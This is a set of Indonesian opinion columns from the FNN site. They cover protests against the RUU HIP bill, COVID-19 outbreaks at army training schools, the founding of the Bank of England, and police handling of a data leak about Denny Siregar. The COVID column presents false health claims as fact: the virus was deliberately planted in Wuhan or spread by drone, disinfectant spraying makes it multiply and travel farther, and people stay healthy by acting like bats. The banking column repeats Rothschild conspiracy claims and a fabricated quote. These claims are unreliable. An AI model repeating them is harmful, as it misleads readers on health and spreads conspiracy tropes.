pembahasan RUU HIP. Qubah Putih Wartawan senior Edy Mulyadi mengungkap adanya upaya tersebut. Pertama, adalah Raker Komisi III DPR RI dengan pemerintah yang diwakili Menteri Hukum dan HAM Yasonna Laoly, ternyata, tidak mencabut RUU HIP yang ditolak rakyat, khususnya umat Islam dari program legislasi nasional (Prolegnas) 2020. Kedua, ada operasi ‘Qubah Putih’ yang menyasar petinggi Majelis Ulama Indonesia (MUI) daerah, baik tingkat kabupaten/kota maupun kecamatan. “Dengan dukungan dana nyaris tak terbatas, orang-orang PKI ingin menggembosi MUI di daerah-daerah dengan iming-iming uang dan berbagai fasilitas, bahkan ancaman-ancaman,” demikian disampaikan Edy Mulyadi dalam video pendeknya, Minggu (12/7/2020). Menurut Edy, penolakan umat Islam yang terjadi di hampir seluruh wilayah, ternyata tidak didengar oleh pemerintah. Mereka masih mau berkelit dengan mengganti istilah dari RUU HIP berubah menjadi RUU PIP (Pembinaan Ideologi Pancasila). “Mau diganti dengan apa pun, umat Islam tetap menolak. Karena ini akan menjadi pintu masuk atau media bagi komunis untuk tampil formal,” tambahnya, seperti dikutip Duta.co, Minggu (12/7/2020). Kecurigaan Edy bahwa pemerintah dan DPR RI ‘main api’, rasanya tak berlebihan. Buktinya, di saat agenda DPR mencabut sejumlah 0RUU dari Program Legislasi Nasional (Prolegnas) Prioritas Tahun 2020, RUU HIP ternyata aman-aman saja. Wakil Ketua Baleg DPR RI Willy Aditya menyampaikan hampir seluruh fraksi mengusulkan pencabutan RUU yang mereka bahas. Sebab mereka merasa tak akan bisa merampungkan pembahasan hingga batas akhir bulan Oktober 2020. Komisi I DPR misalnya, mengajukan pencabutan RUU Keamanan dan Ketahanan Siber serta RUU Penyiaran. Mereka akan fokus merampungkan RUU Perlindungan Data Pribadi tahun ini. Lalu komisi II DPR RI mencabut RUU Pertanahan. Komisi IV DPR RI juga berniat mencabut RUU Kehutanan dan RUU Perikanan. Komisi VIII DPR RI mengajukan pencabutan RUU Penghapusan Kekerasan Seksual. Adapun Komisi X DPR RI hendak mencabut RUU Pramuka. Sementara Komisi XI DPR RI juga berencana menunda RUU Bea Meterai dan RUU Fasilitas Perpajakan. Ironisnya, di sini RUU HIP masih menggantung meski sudah menuai sejumlah aksi protes dalam beberapa pekan terakhir. Menurutnya, kader PKI paham bahwa halangan mereka adalah umat Islam. Apalagi faktanya, penolakan umat Islam dan rakyat Indonesia terhadap RUU HIP terjadi sangat massif di mana-mana. PKI paham betul, ganjalan utama RUU ini ada pada umat Islam. “Maklumat MUI Pusat dan MUI 34 Provinsi yang menolak RUU ini, benar-benar jadi energi bagi umat dan rakyat untuk menolak dan melawan. Itulah sebabnya PKI kini melancarkan operasi Qubah Putih untuk mendekati MUI-MUI Kabupaten/Kota bahkan Kecamatan.” Edy mengingatkan agar umat dan rakyat terus waspada. Jangan sampai lengah. Khusus untuk para pengurus MUI di daerah, jaga ghirah perjuangan dan tetap istiqomah. Sekali saja kalian melenceng, akan jadi catatan buruk di mata rakyat, dan tentu saja, di hadapan Allah SWT. “Kalau kemudian ada beda sikap dengan MUI pusat, berarti masuk angin. Mohon maaf kiai, ustdaz, kalau kemudian secara sumir mendukung HIP, saya tidak syu’udhon, operasi qubah putih berhasil mengamankan kalian,” ungkap Edy. “Ini catatan amat buruk bagi umat dan dalam pandangan Allah,” tegas Edy Mulyadi yang juga Sekretaris Jenderal Gerakan Nasional Pengawal Fatwa (GNPF) Ulama. Legal Opinion Ahli Hukum Pidana Dr. H. Abdul Chair Ramadhan, SH, MH menulis Legal Opinion terkait dengan RUU HIP yang diusulkan oleh PDIP tersebut. Menurutnya, Pasal 14 ayat 1 UU Peraturan Hukum Pidana menunjuk pada adanya suatu perbuatan menyiarkan berita atau pemberitahuan bohong. Berita bohong ini terkait dengan keberadaan Keadilan Sosial yang disebutkan dalam RUU HIP sebagai sendi pokok Pancasila. “Padahal yang menjadi sendi pokok adalah Ketuhanan Yang Maha Esa. Pasal ini memang termasuk delik materil yang mensyaratkan harus adanya keonaran di kalangan masyarakat,” tulis Abdul Chair Ramadhan. Faktanya, pengusulan RUU HIP sebagai hak inisiatif DPR telah menimbulkan keonaran di kalangan masyarakat secara meluas. Berbagai Ormas besar seperti MUI Pusat dengan MUI Daerah, PB NU, PP Muhammadiyah dan lain-lainnya telah menyatakan sikap penolakan dan meminta dihentikannya pembahasan RUU a quo. Kesemuanya itu menunjukkan fakta terjadinya kegaduhan/kegemparan yang demikian sangat. Hal ini dibuktikan dengan berbagai aksi demontrasi yang demikian meluas di berbagai wilayah dalam rentang waktu yang cukup lama. Pasal 14 ayat 1 Undang-Undang Peraturan Hukum Pidana menentukan perbuatan “dengan sengaja”. Hal ini bermakna terjadinya keonaran melingkupi tiga corak (gradasi) kesengajaan yakni “dengan maksud”, “sadar kepastian” atau “sadar kemungkinan”. Ketiga corak kesengajaan itu bersifat alternatif. Pada suatu kondisi, timbulnya akibat berupa keonaran walaupun tidak dikehendaki, namun menurut doktrin harus dipertanggungjawabkan secara hukum pidana. Tidak dikehendakinya akibat yang berujung pertanggungjawaban pidana menunjuk pada corak kesengajaan sadar kepastian atau sadar kemungkinan. Perihal dengan sengaja ini juga berlaku pada Pasal 156a huruf a KUHP. Karena itu, semua pihak yang terlibat dalam pengusulan RUU HIP harus bertanggungjawab. Walaupun RUU HIP telah dihentikan/dibatalkan dari Prolegnas, namun hal tersebut tidaklah menghilangkan pertanggungjawaban pidana terhadap pihak-pihak terkait. “Terutama Partai pengusul dan aktor intelektualnya,” tegasnya. Mereka harus bertanggung jawab secara pidana! Penulis adalah Wartawan Senior

Selain Tenaga Medis, Virus Corona Mulai Serang Institusi Militer

by Mochamad Toha Jakarta FNN - Senin (13/07). Sudah banyak dokter dan tenaga medis di berbagai rumah sakit meninggal dunia akibat Virus Corona (Covid-19). Bahkan, belakangan ini masih ada yang dalam perawatan medis di rumah sakit di beberapa Kota/Kabupaten di Indonesia. Terakhir, sebanyak 25 dokter residen di RSUD Dokter Moewardi, Kota Solo, Jawa Tengah. Mereka merupakan mahasiswa Program Pendidikan Dokter Spesialis (PPDS) paru Fakultas Kedokteran Universitas Sebelas Maret (UNS). Jadi, “Saat ini RS UNS menerima rujukan sebanyak 25 pasien positif Covid-19 dari RS dr. Moewardi untuk menjalani masa isolasi di RS UNS,” kata Wakil Direktur Penelitian dan Pendidikan RS UNS Solo, dr. Tonang Dwi Ardyanto, Sabtu (11/7/2020). Tonang menjelaskan 25 orang itu adalah tenaga medis sekaligus mahasiswa PPDS paru atau sering disebut sebagai dokter residen paru. Menurutnya, awalnya hanya satu dokter residen yang terkonfirmasi positif Covid-19 pada Kamis (9/7/2020) lalu. Dalam waktu yang nyaris bersamaan, pada Selasa (7/7/2020) Covid-19 juga telah menyerang Kompleks Sekolah Calon Perwira TNI Angkatan Darat (Secapa AD) di Jl. Hegarmanah, Kota Bandung. Melansir dari CNNIndonesia.com, Sabtu (11/07/2020 19:24 WIB), KSAD Jenderal Andika Perkasa menjelaskan ihwal kasus penularan Covid-19 yang terjadi di lingkungan Kompleks Secapa AD di Kota Bandung, Jawa Barat. Andika mengatakan, mulanya ada dua prajurit siswa yang berobat di Rumah Sakit Dustira Kota Cimahi. Kedua prajurit tersebut mengaku mengalami gejala sakit bisul disertai demam. Sedangkan, satu prajurit lainnya masalah tulang belakang. “Tepatnya dua minggu lalu, saya mendapat laporan dari Komandan Secapa AD. Diawali ketidaksengajaan dua siswa berobat ke RS Dustira,” ucap Andika di Markas Komando Daerah Militer (Makodam) III/Siliwangi, Sabtu (11/7/2020). Keduanya, lanjut Andika, kemudian menjalani pemeriksaan tim medis di RS Dustira dengan metode swab sebagai prosedur otoritas layananan kesehatan. Ternyata, hasil kedua siswa itu positif terjangkit corona. Tim medis kemudian melapor kepada Markas Besar TNI AD di Jakarta. Pimpinan di Jakarta kemudian mengirim 1.400 alat rapid test. Menurut Andika, jumlah alat rapid test sebanyak itu untuk memeriksa 1.198 prajurit siswa dan 200-an pelatih serta staf. “Awalnya ada 187 orang yang hasil rapid test-nya reaktif sehingga dicurigai terinfeksi Covid-19. Dari situ saya kirim VTM (alat tes PCR) ke Kakesdam kemudian dilakukan swab dari situ kemudian jumlahnya bertambah terus hingga 1.280 orang,” ujar Andika. Andika merinci sebanyak 991 prajurit siswa terjangkit virus corona, sedangkan sisanya 289 orang merupakan staf anggota Secapa dan keluarganya. Sebagian besar dari mereka yang positif itu melakukan karantina mandiri, dan hanya 17 orang yang dirawat di RS. “Dari 17, satu negatif dan 16 masih positif tapi semua tidak merasakan gejala apapun juga. Satu negatif masih di sana karena masalah TBC paru-paru,” tutur Andika. Andika kemudian mengunjungi Secapa TNI AD. Dalam kesempatan itu, dia menanyakan secara acak siswa yang positif dengan penerapan protokol kesehatan. Di Secapa, Jenderal Andika tanya satu per satu ambil tiga orang tidak ada pengkondisian. “Saya tanya apa yang dirasakannya, dan mereka bilang yang dirasakan sama sekali tidak ada (gejala),” ucap Andika. KSAD juga menjelaskan bahwa sejak Selasa (7/7/2020) sudah dilakukan swab tahap kedua. Dari tes swab kedua, hasilnya ada 14 yang dinyatakan negatif. Sedangkan, 296 orang masih menunggu hasil lab. “Sekarang, siswa maupun staf Secapa yang tadinya 1.280 itu sudah berkurang (karena hasil negatif Covid-19). Dari siswa kurang 17 dari staf kurang 12,” ucapnya. Ia menambahkan, siswa dan staf yang sudah negatif kini berada di tempat terpisah di Secapa AD. Menyusul temuan 1.262 kasus Covid-19 di lingkungan Secapa AD, tidak lama kemudian juga muncul 99 kasus pasien positif Covid-19 di Pusat Pendidikan Polisi Militer (Pusdikpom) AD di Kota Cimahi. Mengapa Virus Corona sampai bisa masuk ke Secapa dan Pusdikpom AD? Ini menarik untuk ditelusur. Menurut saya, dua siswa yang berobat ke RS Dustira itu bukanlah yang mengawali sebaran Covid-19 di Komplek Secara tersebut. Tetapi, jauh sebelum berobat, sebenarnya Virus Corona sudah tersebar ke dalam Secapa AD itu. Setidaknya, sekitar seminggu sebelum kedua siswa itu berobat ke RS Dustira. Jika yang menularkan kedua siswa tadi, tidak mungkin yang positif sampai 1.280 orang. Karena Virus Corona itu butuh waktu untuk menginfeksi saluran pernafasan dan paru-paru seorang korban. Jadi, bukan tidak mungkin, memang ada yang sengaja membawa virus itu masuk ke dalam Komplek Secapa AD (dan juga) ke Pusdikpom AD. Seperti halnya saat awal mula ditemukannya Virus Corona di Kota Wuhan, Provinsi Hubai, China. Dapat dipastikan, ada pihak yang sengaja meletakkan di pasar ikan Wuhan melalui kelelawar. Demikian pula halnya yang terjadi di Secapa dan Pusdikpom AD tersebut. Dalam era modern ini tidaklah sulit untuk mengirim Covid-19 ke dalam sebuah kawasan seperti Secapa maupun Pusdikpom AD. Mereka bisa saja mengirimnya lewat Drone yang kemudian menyebarkannya melalui udara. Sasaranpun bisa terarah ke satu tujuan saja. Apalagi, selama ini drone itu tidak bisa dipantau melalui radar. Obyek yang sulit dideteksi radar. Inilah yang menjadi tantangan TNI dalam menghadapi pandemi Covid-19 yang bukan tidak mungkin sudah dijadikan sebagai “amunisi” yang berbasis senjata biologis. Untuk melawan Virus Corona ini, tentunya harus mengetahui bagaimana karakternya. Airbone Infection Virus corona itu basic-nya seperti virus influenza. Habitatnya juga ada di kulit sekitar hidung manusia. Seperti halnya virus atau bakteri yang ada di tubuh manusia itu, mereka hidup juga berpasangan. Sayangnya, ada “tangan jahat” yang memisahkan mereka. Padahal, mereka bertugas membersihkan zat-zat patogen yang menempel pada kulit sekitar hidung dan bibir atas. Juga membantu menjaga kelembaban kulit manusia. Sifat dasar virus atau bakteri itu serupa dengan antibodi manusia, hewan, dan tanaman. Yaitu “kalau mereka tersakiti, mereka akan memperkuat dirinya, dan menggandakan dirinya beratus-ratus kali lipat, dibanding pada kondisi normal”. Hewan, akan beranak sebanyak mungkin. Tanaman, akan berbuah dan bertunas sebanyak mungkin. Terlepas dari siapa yang membawa Virus Corona ini ke Wuhan, corona itu, begitu masuk ke dalam tubuh kelelawar, mereka meriplikasi dirinya sebanyak mungkin. Karena bagi mereka itu adalah tempat asing. Dan itu yang membuat mereka ketakutan, sehingga mereka menggandakan dirinya sebanyak mungkin. Begitu sang kelelawar ini dimakan manusia, maka Corona ini beralih ke manusia, dan langsung menggandakan diri lebih hebat lagi. Mengapa kelelawar-kelelawar itu tidak sakit seperti manusia? Karena kelelawarnya ndablek, cuek, masa bodoh, dan tidak berpikir, sehingga antibodinya kuat, dan tidak tersakiti. Kalau manusia ingin sehat, walaupun sudah terpapar Covid-19, bersikaplah seperti kelelawar. Covid-19 yang tertuduh sebagai pembunuh massal sadis itu, berusaha dibunuh secara massal pula, dengan disemproti desinfektan secara massal. Ada sebagian yang mati, ada sebagian yang masih hidup. Barangkali yang masih hidup lebih banyak dibanding yang mati. Karena sudah menjadi sifat dari virus/bakteri itu, maka yang hidup ini menggandakan dirinya beratus-ratus atau beribu-ribu kali lebih banyak dan lebih kuat dibanding yang sebelumnya. Kalau sebelumnya kemampuan terbangnya hanya sekitar 1,8-2 m, menjadi lebih jauh lagi dibanding itu. Kemampuan terbang lebih jauh inilah yang menyebabkan mereka menjadi bersifat airborne infection. Lalu karena jumlah mereka sangat banyak, mereka juga menemukan bakteri-bakteri lain yang mempunyai daya terbang lebih jauh. Corona menumpang pada bakteri lainnya. Akibat dari penyemprotan des infektan secara massal, menyebabkan mereka menjadi: Lebih banyak; Lebih kuat; Mampu terbang lebih jauh; Daya rusaknya lebih hebat. Jumlah Varian Corona pun sekarang ini sudah lebih dari 500 varian Cavid-19 di Indonesia. Langkah cepat dan strategis yang telah dilakukan Jenderal Andika Perkasa dalam mengatasi Covid-19 di Secapa AD dan Pusdikpom AD patut diapresiasi. Sehingga dapat dipastikan, dalam sepekan ke depan, insya’ Allah, semua siswa yang terpapar Covid-19 bisa terbebas dari Virus Corona! Penulis adalah Wartawan Senior

Jinakan Segera “Independensi Bank Sentral”

by Dr. Margarito Kamis, SH. M.Hum (Bag. Pertama dari Empat Tulisan) Jika Amerika memperbolehkan bank swasta mengendalikan masalah mata uang, pertama, oleh inflasi, kemudian oleh deflasi, maka bank dan perusahaan yang akan tumbuh disekeliling mereka mengambil harta kekayaan sampai anak-anak mereka tidak memiliki rumah dibenua yang ditaklukan oleh ayah mereka (Thomas Jefferson, Presiden Amerika 1801-1809). Jakarta FNN – Selasa (14/07). Oligarkis, dimanapun selalu begitu. Panjang akalnya. Mahluk yang bertuhan uang ini, menggunakan kekuatan uang itu untuk mengubah dan membeli kekuasaan. Uang itu, akan terlihat pada uraian selanjutanya adalah komoditi. Begitu polas para oligarkis mendefenisikan. Uang dipakai kelompok ini mengubah tatanan politik. Merekalah yang menentukan siapa yang berkuasa, dan menulis huruf-huruf hukum. Merekalah pulalah yang memberi isi terhadap demokrasi. Mereka jugalah yang memberi bentuk terhadap konsep rule of law. Untuk itu, kenali benar prilaku dan sepak-terjang meraka mendikte dan mengendalikan kekuasaan. Semuanya dicapai dengan menyodorkan uang. Caranya macam-macam. Hutang kepada pemerintah, dipakai sebagai alat menekan. Menukarnya dengan kepentingan mereka. Dan faktanya memang mereka berhasil. Itu terlihat jelas pada sejarah kemunculan bank sentral. Bank Of England Merangkak dan melingkar, menjadi tipikal oligarkis dalam menciptakan bank sentral. Dalam sejarahnya cara ini dimulai dari Inggris, dengan Bank of Englandnya. Mengubah tatanan sosial dan politik klasik, itu langkah awalnya. Dilanjutkan dengan menempatkan orang mereka di pusaran kekuasaan. Selanjutnya, memunculkan isu baru, dan membawanya memasuki parlemen. Itulah yang diperolah dari Inggris dan Amerika dalam kasus pendirian bank sentral. Dalam kasus Inggris, mereka terilhami oleh kesuksesan Bank of Amsterdam yang beroperasi sejak tahun 1609. Kenyataan itu merangsang Samuel Lambe, dengan memanfaatkan kekacauan politik Inggris tahun 1658. Di tengah kekacauan itu Samuel Lambe, seorang pedagang Inggris asal London mengusulkan pendirian Bank Sentral. Sayangnya gagasan ini gagal. Kegagalan itu disebabkan parlemen beralasan Raja dapat mengumpulkan uang tanpa perlu meminta persetujuan parlemen. Penggagas bank sentral tak patah arang. Tahun 1683, lima tahun sebelum revolusi, muncul lagi gagasan yang mirip. Tetapi kali ini datang dari William Petterson, yang juga seorang pedagang kaya raya di London. Petterson mengusulkan, bukan sentral bank melainkan Bank of Credit. Ternyata hasilnya gagal lagi. Menariknya, gagasan itu juga muncul di tengah suhu politik yang terus memanas, karena sikap James II. Raja James II teridentifikasi bekerja dalam skema Louise ke-XIV dari Perancis. Louise ingin memastikan Eropa menganut keyakinan agama yang sama dengan dirinya. James berada dalam skema ini. Sikap ini tidak disukai oleh kalangan non istana, khsusnya di parlemen. Akhirnya Inggris jatuh ke dalam revolusi “Glorius Revolution 1688”. Revolusi ini sukses besar. Raja James II melarikan diri ke Perancis. Tahta kerajaan kosong. Terjadilah serangaian perubahan fundamental. Umumnya studi sejarah tata negara mengidentifikasi revolusi ini mengonsolidasi prinsip rule of law, dan supremasi parlemen. Ini dikonsolidasi dalam “The Bill of Right 1689”, tak lama setelah revolusi itu. Manis dalam semua dimensinya, sejauh itu. “The Bill of Right 1689” menggulung hampir semua prerogative raja. Gema kesuksesan itu, berhasil menyembunyikan ekspektasi orang kaya, yang sedari awal bekerja dibalik layar revolusi itu untuk tujuan mereka mendirikan bank sentral. Ini tak teridentifikasi oleh orang kebanyakan. Menampilkan perannya sebagai perencana dibalik layar revolusi. Karena mereka tahu begitu raja menghilang, dan seluruh kekuasaannya dibatasi. Dialihkan ke parlemen, maka Inggris akan mengalami masalah. Apa itu masalahnya? Kerajaan akan jatuh ke dalam ketidakpastian mendapatkan uang. Perangkat kerajaan tak berungsi di satu sisi, sementara di sisi lain parlemen tak memiliki perangkat untuk mengumpulkan uang. Inggris pun akhirnya jatuh secara praktis ke dalam keadaan ketidak-pastian mendapatkan cara mengumpulkan pajak dan cukai. Tetapi satu hal telah pasti terjadi. Raja dan Ratu telah berhutang budi kepada Peterson dan kawan-kawan. Balas budi, quid pro quo, menjadi senjata besar kelompok ini. Hutang budi ini dimanfaatkan oleh mereka, yang dengan caranya mengakibatkan Raja dan Ratu meminjam uang dari mereka. Dalam identifikasi Eugene Mullins, melalui British Treasury, kerajaan segera meminjam uang kepada mereka sebesar 1.250.000 pound. Tidak itu saja, Mullins mencatat Menteri Keuangan ini juga mengusulkan agar kerajaan segera mengeluarkan apa yang disebut dengan a royal charter for the Bank of England. Bank of England, sejauh itu bukan punya pemerintah. Ini milik sejumlah orang kaya di London. Kepemilikan bersama ini dilakukan dalam bentuk shareholder. Tiga tahun setelah itu, gagasan ini digemakan oleh William Petterson, orang kaya Ingris yang memperlancar kedatangan William dan Marry. William Petterson, segera mengajukan satu proposal kepada parlemen. Inti proposal itu adalah perlu didirikan satu bank nasional. Cerdik, walaupun bermaksud mendirikan bank sentral, tetapi nama itu tidak disebut. Yang disebut adalah bank nasional. Itu saja, tidak lebih. Cara ini, dalam kenyataan, setelah lebih dari satu abad dipakai oleh kelompok Wall Street di Amerika dalam game pendirian The Federal Reserve. Tahu kerajaan sedang babak belur oleh revolusi, Petterson dalam rangka menggolkan proposalnya, menjanjikan kepada parlemen pinjaman kedua kepada kerajaan. Bunga yang dikenakan pada pinjaman kedua itu sebesar 6% dan menejemen fee 5.000 pound dan right isue. Untuk sesaat belum berhasil. Tetapi proposal itu telah didiskusikan oleh parlemen. Menurut H. Goodman dari Pensylvania University dalam kajiannya tentang The Formation of Bank of England: A Respons to Changing Political and Economic, yang dimuat dalam Journal Penn History Review, Lord Charles Montagu yang merupakan Commissioner of Tresury menyambut proposal Petterson. Montagu justru mengambil sikap aneh. Dia memperbesar jumlah pinjaman, tetapi menurunkan bunganya. Besaran pinjaman, hutang, menjadi 1.250.000 pounds. Kecerdasan Peterson segera bertemu dengan keberanian parlemen megambil risiko. Peterson telah tahu bahwa negara itu sendiri telah merupakan coleteral tak tertandingi. Di sisi lain, parlemen justru hendak membuktikan kepada pedagang ini bahwa mereka memiliki integritas dan krediblitas. Menariknya keberanian ini berlangsung di tengah ketakutan kaum Tory tahu bahwa bank akan berkuasa melebihi kerajaan. Kekhawatiran yang sama muncul juga di kaum Whigh, yang oposisi. Mereka tidak yakin bank bisa dikendalikan kelak. Tetapi keadaan itu tidak cukup kuat menghentikan hasrat parlemen untuk membuktikan bahwa mereka memiliki integritas dan kredibilitas. Politik balas budi - quid pro quo- dipenuhi parlemen dengan membentuk Way and Means Act, sering disebut Tonage Act 1694. Tonage Act bukanlah UU, yang secara spesifik sebagai UU perbankan, apalagi untuk bank sentral. Jadi Bank Sentral Tonage Act mengatur cara dan persyaratan pengenaan pajak dan cukai pada perusahan pelayaran. Tetapi uang itu harus diletakan di bank. Dengan begitu, maka harus diadakan satu bank. Jadilah Tonage Act sebagai dasar pendirian bank. Itu sebabnya pembicaraan tentang Bank of England selalu merujuk Tonage Act 1694. Tidak dirancang untuk menjadi UU perbankan, mengakibatkan durasi operasi Bank of England menjadi terbatas. Akibatnya, itu Bank of England harus diperpanjang lagi opresional pada tahun 1706, dengan landasan Royal Charter. Lawrence Broz dan Richard S. Grossmman, dalam Paying for Privileg: the Politial Economic of Bank of England Charter 1694-1844, yang diterbitkan pada tahun 2002 mencatat, sejak 1694 hingga 1844 diterbitkan dua belas Royal Charter untuk memperpanjang masa berlaku Bank of England. Keduanya mencatat, perpanjangan masa operasi bank selalu dinegosiasikan dengan Parlemen. Negosiasi tersebut selalu dilakukan setiap kali kerajaan membutuhkan uang. Termasuk untuk keperluan opersional dan membiayai kebutuhan militer. Kebiasaan berhutang yang dilakukan kerajaan, oleh oligarki digunakan sebagai dasar meminta perpanjangan operasi bank. Bahkan Bank of England sejak 1697 telah muncul sebagai korporasi swasta yang memonopoli perdagangan bank notes. Memang belum berfungsi sebagai Bank sentral, tetapi sejak tahun itu, sudah terlihat mereka memainkan peran sentral dalam isu perbankan Inggris. Menurut Peter Howels dalam The US Fed and the Bank of Englad: Ownership, Structure and Independence, hingga tahun 1825 baru dibuat yang secara khusus tentang Bank. Ini dikenal dengan Banking Act 1825. UU ini merupakan respon atas krisis keuangan yang terjadi pada tahun itu. Krisis ini dalam kenyataannya menjadi pijakan Bank of Land muncul sebagai kohesi dan stablitas perbankan bank-bank regional yang kecil. Fungsi itu, karena kenyataan, dikehendaki oleh bank-bank kecil, dalam kata-kata mereka note sisue by larger harus ditampilakn secara lebih terpercaya. Dalam jangka panjang, menurut Howels, hal itu menunjukan bahwa bank-bank komersial tidak menarik diri sebagai penyeimbnang Bank of England. Mereka dalam kenyataan itu merasa lebih bijaksana menggunakan bank note yang diterbitkan Bank of England. Krisis itu berlangsung, dalam kenyataannya hingga tahun 1857. Menariknya, ketika itu Inggris telah memiliki Bank Charter Act 1844. Sering disebut Continuance Act 1844. Motifasi dasar UU ini adalah memastikan Bank of England mengontrol kebijakan keuangan dan ekspansi kredit. Kontrol itu dimaksudkan sebagai cara menstabilkan makro ekonomi. Berfungsi seperti itu mengakibatkan Peter Howel mengidentifikasi untuk pertama kalinya, Bank of England bertindak sebagai bank sentral. Sekali lagi ini, disebabkan Bank of England, bertanggung terhadap stailitas harga. Toh fungsi sebagai lending of the last resort, telah diperankan jauh sebelumnya, dan menguat pada saat krisis 1825 itu. Pada titik itu terlihat oligarki ini tidak mementingkan nama. Yang dipentingkan oligarki adalah fungsi institusionalnya. Apapun namanya, yang penting berfungsi sebagai bank sentral. Cara ini kelak dipakai oleh oligarki Amerika yang terkoneksi dengan oligarki Inggris, memprakarsai pembentukan The Federal Reserve. Agar terkonsolidasi dengan UU ini, memberi kewenangan kepada pemerintah mereorganisasi bank ke dalam dua bidang. Sir Robert Peel diberi kewenangan itu. Reorganisasi itu dilakukan dengan membagi menejemen bank ke dalam dua, yaitu departemen untuk masalah pokok dan departemen perbankan. Terhadap isu pertama diurusi pemerintah, khususnya menteri keuangan. Isu kedua diurusi sepenuhnya oleh Bank of England. Cara kerja ini menarik pada semua aspeknya. Sebab pemerintah tak mengurus kebijakan keuangan, tetapi harus memberi jaminan terhadap kebijakan keuangan yang dibuat oleh Bank. Bank notes yang diterbitkan oleh bank swasta sebesar 14 miliyar pound, menurut Bank Charter Act, harus ditopang dengan surat berharga yang diterbitkan pemerintah. Menariknya, Enggene Mullins mengidentifikasi dalam kata-katanya, Bank of England was synonymous with the name of Baron Nathan Mayer Rothschild. Padahal pada awalnya, Bank ini dimiliki oleh 1.330 orang, dengan nilai saham tidak lebih dari 10.000 pound. Didalamnya termasuk Nathan. Satu langkah kecil saja telah mematikan mereka semua. Bank itu segera jatuh ke tangan Nathan usai perang Waterloo. Perang antara Inggris melawan Perancis pada tahun 1815. Napoleon memimpin pasukan Perancis dan Wellington memimpin pasukan Inggris. Perang ini menjadi penentu dominasi satu di antara dua negara itu di Eropa. Siapa yang memenangkan perang menjadi penting dalam konteks itu. Keluarga Rotcshild, dengan Nathan dipuncakanya, dan ini membedakan mereka dengan bankir lainnya. Memiliki sejumlah kurir. Dapat disebut inteljen yang ditanam dalam perang itu. Nathan yang telah tahu bahwa Inggris memenangkan pertempuran itu, berpura-pura muram disaat pasar modal dibuka. Kemuraman Nathan dimaknai koleganya bahwa Inggris kalah perang. Akibatnya, mereka melepaskan saham-sahammya, dan Nathan membelinya dengan harga murah. Menurut Ralp Epperson, keesokan harinya datang berita Inggris memenangkan perang itu. Berita itu memicu kenaikan harga saham secara drastis, dan Nathan meraup untung besar. Itulah Nathan. Nathan Meyer Rotschild akhirnya tertakdir sebagai orang terkaya di Inggris. Dia, dengan kekayaannya itu menyombongkan diri, menurut Eugene Mullins, dengan kata-kata “The man that controls Britain’s money supply, controls the British Empire, and I control the British money supply”. (bersambung)

Denny Siregar dan Penegak Hukum 4.0

by Asyari Usman Jakarta FNN - Senin (14/07). Sekarang menjadi terbalik. Kerugian Denny Siregar (DS) yang justru menjadi perhatian Polisi. Yang menjadi fokus pengusutan. Sedangkan penghinaan atau ujaran kebencian terhadap umat Islam oleh Denny Siregar menjadi hilang. Setidaknya kabur. Polisi mengerahkan seluruh kekuatan terbaiknya untuk memburu pembocor data Denny Seregar. Hasilnya? Dalam sekejap saja dapat ditangkap karyawan lepas (outsourcing) Telkomsel. Dia diduga mengambil data pribadi DS yang viral di medsos. Sangat cepat. Polisi sigap sekali melacak dan menangkap pembocor data. Pria berusia 27 tahun, FPH. Luar biasa hebat operasi penangkapannya. Polisi juga memburu pemilik akun Opposite6891. Jika dilihat dari ketangkasan mereka menangkap FPH, tentulah operasi kedua ini tidak terlalu sulit. Sebaliknya, pengaduan Forum Mujahid Tasikmalaya (FMT) terkait ujaran kebencian yang diucapkan DS terhadap anak-anak pesantren, tak jelas tindak lanjutnya. Sejauh ini DS belum diapa-apakan. Fokus perkara beralih. Sekarang, kebocoran data DS seolah menjadi hal yang jauh lebih penting. Lebih urgen dari pelecehan DS dalam tulisan “Adek2ku Calon Teroris Yang Abang Sayang”. Padahal, ribuan santri dan puluhan pesantren di Tasikmalaya terlecehkan oleh tulisan DS. Kalangan santri menjadi sasaran ujaran kebencian Denny. Polisi sangat serius melayani isu kebocoran data pribadi DS. Menkominfo pun ikut turun tangan. Menteri Jhonny Plate sampai meminta Telkomsel agar melakukan pengusutan. Di kepolisian, tak kurang polisi berbintang langsung menjelaskan perihal penanganan kebocoran data pribadi DS. Tampaknya, keluhan Denny didengar dengan cermat oleh Polisi. Dan langsung mengerahkan tim pemburu. Sebentar saja terduga bisa diamankan. Pastilah bisa kalau Polisi mau. Memang selama ini Pak Polisi selalu mengalami ‘kesulitan’ untuk menangkap para pelaku pidana yang melecehkan, menghina dan membenci Islam dan umat Islam. Ada kesan kalau para pelaku berada di pihak oposisi, sering bisa cepat disergap. Tapi, kalau pelakuknya adalah orang-orang yang masuk rombongan penguasa, mereka cenderung tidak terdeteksi. Susah melacak dan menangkap mereka. Begitulah situasinya saat ini. Selalu saja ada alasan untuk tidak memproses berbagai perkara yang diperkirakan akan merugikan orang-orang yang berada di pihak penguasa. Anda merasakan itu sebagai ketidakadilan. Tetapi, Polisi tampaknya tidak berterawang seperti itu. Bagi mereka, ketidakadilan adalah konsep nilai yang bias (memihak) pada sikap idealis. Sedangkan ‘sikap idealis’ sudah lama ditinggalkan karena tidak ‘updated’ dengan para penegak hukum 4.0. Yang bermakna ‘empat-kosong’, yaitu keempat pundi kewarasan yang tidak lagi diisi dengan nutrisi ‘justice for all’ –keadilan untuk semua. Para penegak hukum 4.0 itu sudah lama menggunakan ‘disposable wisdom’ (kearifan sekali pakai). Inilah jenis kearifan yang bekerja sesuai keperluan dan standar yang koruftif. Para penegak hukum tidak lagi dibekali ‘incorruptible wisdom’ (kearifan yang tak terbeli) –kearifan yang berasal dari pertimbangan yang komprehensif. Kearifan yang sukar digoda. Yang tak mudah tergerus oleh segala bentuk tekanan. Hari ini, publik perlu mengawal kasus ujaran kebencian Denny Siregar. Meskipun Anda semua bisa menebak ‘halte terakhir’ (last destination) pengaduan FMT, tetapi Anda tidak boleh jera. Tidak boleh surut. Kita harus terus berusaha agar penegak hukum 4.0 perlahan bisa direhabilitasi mejadi penegak hukum 5.1. Yaitu, penegak hukum yang pancasilais. Yang mengutamakan sila 1 dari 5 sila di Pancasila. Penulis adalah Wartawan Senior

Pendukung Jokowi Mulai Kecewa

